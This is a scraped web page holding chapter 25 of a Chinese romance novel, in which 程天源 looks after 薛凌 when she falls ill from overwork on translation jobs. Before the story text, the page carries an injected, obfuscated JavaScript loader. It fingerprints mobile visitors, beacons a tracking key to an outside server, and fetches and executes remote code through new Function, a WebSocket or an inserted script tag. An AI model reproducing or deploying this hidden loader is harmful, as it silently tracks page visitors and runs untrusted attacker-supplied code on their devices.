足迹
萧燕与秦怀仁
登录
关灯
护眼
字体:

第二十五章 翻译稿费(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

天色微微亮,程天源便起身刷牙洗脸做早餐。

早上凉风习习,站在阳台外侧风有些大,他没敢大意,转身取了一件旧外套披上。

他站在高处,张望松明路中间的小市场,发现早已经人潮汹涌,市场门口络绎不绝,人来人往。

明天就是中秋了,大伙儿都在忙着过中秋。

刚好明天是周末,薛凌也放假,供销社那边也有得放假。他们昨天就商量好了,打算明天一早坐车回家过中秋。

他打开房门,发现对面屋子仍暗沉一片,一点儿声响也没有,显然薛凌仍在睡着。

这些日子她很忙,白天上班,每天晚上还要加班搞翻译,偶尔十一点多才睡下。

他蹑手蹑脚走下楼,将蜂窝煤换了,然后盛了水放下去煮。

接着,他跑步去市场买了今天要吃的菜,匆匆跑了回来。

隔壁院子关得紧紧的,大门也都锁了。房东老太太的儿子前几日坐车过来,带着老太太离开了。

老太太托亲戚将隔壁出租,暂时还没租出去,仍锁着。

他走进厨房,将菜拾掇放好,倒出一部分热水进保温瓶,剩下的用来煮米粥。

“源哥哥……”楼上传来一声略沙哑的喊声。

程天源听着觉得奇怪,连忙转身上楼。

今天是周六,她今天还得上班,平常这个时候她已经醒了。不过听着嗓音,似乎是生病了!

他飞奔上楼梯,三四级楼梯并着一块跨,匆匆上了楼。

只见薛凌靠在房门上,眯着眼睛,发丝凌乱,脸色很是苍白。

程天源冲了上前,关切紧张问:“怎么了?”

薛凌迷糊抬头,难受皱眉低声:“源哥哥……我喉咙有些痛,头也晕晕的。”

程天源我一听,立刻断定道:“你一定是生病了。”

他拉住她的胳膊,温声:“走,回房里好好歇着,我扶你躺下。”

薛凌迷迷糊糊的,依附在他的怀里,借着他搀扶的力道睡下,眼睛紧闭,嘴巴低低发声:“闹钟响了……我压根起不来……难受!”

程天源帮她盖好被子,见她脸色差得很。

“我先去倒杯水给你喝。”

薛凌迷糊点点头。

程天源将热水吹晾,拍了拍她的被子,叫她起身喝水。

薛凌喝了水后,人也有了一丝精神,撑着去刷牙洗脸。

程天源见她穿得单薄,忍不住皱眉训道:“天气凉,早晚有些冷,你该穿多一件外衫的!”

语罢,他脱下外套罩在她肩上。

薛凌直觉周身暖了一些,浅浅微笑:“谢谢……”

程天源建议道:“你晚上坐在窗口做翻译,也得加多一件外套。窗口就算开得小,凉风仍会往屋里钻的。”

薛凌撇撇嘴,讪讪笑了。

“我昨晚写得入神,一时忘了……直到上床睡觉前,才发现手脚都冰凉凉的。”

程天源嗔怪瞪了瞪她,心里有气,更多的是心疼。

“你白天上班,晚上还要兼职,不要太拼了,要顾着身体。”

瞧她小胳膊小身板,赚钱的毅力却大得吓人。这些天她一下班就往房里扎,除了吃饭和洗澡外,其他时间都在弄翻译。

前天吃晚饭的时候,她说上班时间不敢开小差兼职,大家午休时,她才敢将翻译本悄悄拿出来写。

又要忙工作,又要忙兼职,休息不够,早晚温差大,这下病倒了。

薛凌摇了摇头,道:“没事!我可能就着了凉,你给我煮个姜水,我多喝点儿很快就会没事的。”